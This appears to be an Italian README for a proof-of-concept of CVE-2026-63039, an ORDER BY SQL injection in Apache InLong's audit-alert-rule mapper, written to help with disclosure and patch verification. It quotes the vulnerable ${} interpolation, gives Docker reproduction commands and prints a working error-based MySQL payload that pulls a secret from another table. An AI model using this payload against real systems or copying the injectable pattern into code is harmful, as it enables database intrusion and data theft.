
Proof-of-concept per CVE-2026-63039, che dimostra l'iniezione SQL ORDER BY nella AuditAlertRule di Apache InLong tramite orderField/orderType, con un riproduttore basato su Docker e la verifica della correzione.
AuditAlertRule iniezione SQL ORDER BYUn proof-of-concept eseguibile che riproduce l'iniezione SQL nella query audit-alert-rule di Apache InLong.
Il mapper del manager InLong AuditAlertRuleEntityMapper.selectByCondition filtra con parametri MyBatis #{} sicuri, ma ordina tramite interpolazione di stringhe ${} di due campi della richiesta:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
orderField e orderType provengono dalla richiesta paginata (AuditAlertRulePageRequest), quindi sono controllati dall'attaccante e vengono concatenati così come sono nell'SQL — iniezione SQL ORDER BY (CWE-89). Questo PoC inietta un payload MySQL basato sugli errori in orderField e legge un segreto da una , dimostrando la divulgazione arbitraria di dati.
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
Output atteso sul percorso di codice vulnerabile:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
| Proprietà | Valore |
|---|---|
| Progetto | Apache InLong — manager (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| Classe | CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
| Vettore d'attacco | I campi orderField / orderType di una richiesta di pagina audit-alert-rule |
| Impatto | Esecuzione SQL arbitraria / divulgazione di dati sul database del manager InLong |
| Versioni interessate | da 2.0.0 a prima della 2.4.0 |
| Versione corretta | 2.4.0 |
| Advisory | CVE-2026-63039 |
| Riconoscimento | Andrea Cosentino |
Apache InLong 2.4.0 valida orderField / orderType tramite un allowlist di colonne ordinabili e direzioni note prima che raggiungano il mapper (un nome di colonna ORDER BY non può essere vincolato come parametro #{}, quindi gli input di ordinamento devono essere validati anziché parametrizzati).
Il mapper MyBatis, l'entità e il pojo della richiesta in questo repository rispecchiano gli originali InLong, così il sink dell'iniezione (order by ${request.orderField} ${request.orderType}) è riprodotto alla lettera.
Questo repository è pubblicato a scopi educativi e difensivi: per aiutare gli utenti di Apache InLong a comprendere la vulnerabilità, verificare se sono interessati e confermare che l'aggiornamento la risolve. Il payload legge solo un segreto demo da una tabella locale. Non utilizzare questo materiale contro sistemi che non possiedi o che non gestisci.